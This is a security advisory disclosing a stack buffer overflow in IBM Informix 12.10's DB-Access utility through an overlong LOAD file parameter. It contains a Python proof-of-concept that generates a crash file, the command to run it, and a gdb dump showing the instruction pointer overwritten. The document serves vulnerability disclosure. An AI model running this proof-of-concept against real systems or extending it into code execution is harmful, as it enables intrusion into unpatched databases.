DefenseCode Security Advisory
IBM Informix DB-Access Buffer Overflow
Advisory ID: DC-2017-04-001
Advisory Title: IBM Informix DB-Access Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/DC-2017-04-001_IBM_Informix_DB-Access_Buffer_Overflow.pdf
Software: IBM Informix
Version: 12.10
Vendor Status: Vendor Contacted / Not Fixed
Release Date: 11.07.2017
Risk: High
1. General Overview
===================
IBM Informix DB-Access utility is vulnerable to a stack based buffer
overflow,
caused by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly long
file parameter value inside a LOAD statement, which is used to insert data
from an operating-system file into an existing table or view.
2. Software Overview
===================
Informix is one of the worldas most widely used database servers with users
ranging from the worldas largest corporations to start-ups. IBM Informix
incorporates design concepts that are significantly different from
traditional
relational platforms, resulting in extremely high levels of performance and
availability, distinctive capabilities in data replication and
scalability, and
minimal administrative overhead.
The DB-Access utility is included with the Informix server and with the
Informix
Client Software Development Kit. DB-Access provides a menu-driven
interface for
entering, running, and debugging SQL statements and Stored Procedure
Language
routines. DB-Access can also be ran interactively from the command line.
3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the DB-Access command line
utility it is possible to cause a buffer overflow, overwriting the
instruction
pointer (EIP) and thus hijack the execution flow of the program. Crafted
file
contains a LOAD statement with an overly long file parameter that will
overwrite EIP.
3.1 Proof of Concept
The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:
-------
#!/usr/bin/python
load_overflow = 'A' * 5000
statement = "LOAD FROM '" + load_overflow + " test' INSERT INTO example;"
crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()
-------
PoC usage: dbaccess <name of existing database> crash.sql
-------
Registers state following the overflow:
(gdb) i r
eax 0xffffffff -1
ecx 0xb7bf4d00 -1212199680
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xbfffce40 0xbfffce40
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
-------
PoC tested on: Informix Innovator-C Edition for Linux x86 32
4. Solution
==========
The vulnerability has not been addressed by vendor in a 90 days period
following the submission. Vendor has expressed an intention of fixing the
vulnerability in a future update.
5. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.
6. About DefenseCode
================================
DefenseCode L.L.C. delivers products and services designed to analyze
and test
web, desktop and mobile applications for security vulnerabilities.
DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox
Testing) solution for performing extensive security audits of
application source
code. ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive rate.
DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox
Testing) solution for comprehensive security audits of active web
applications.
WebScanner will test a website's security by carrying out a large number of
attacks using the most advanced techniques, just as a real attacker would.
Subscribe for free software trial on our website http://www.defensecode.com/
E-mail: defensecode[at]defensecode.com
Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/
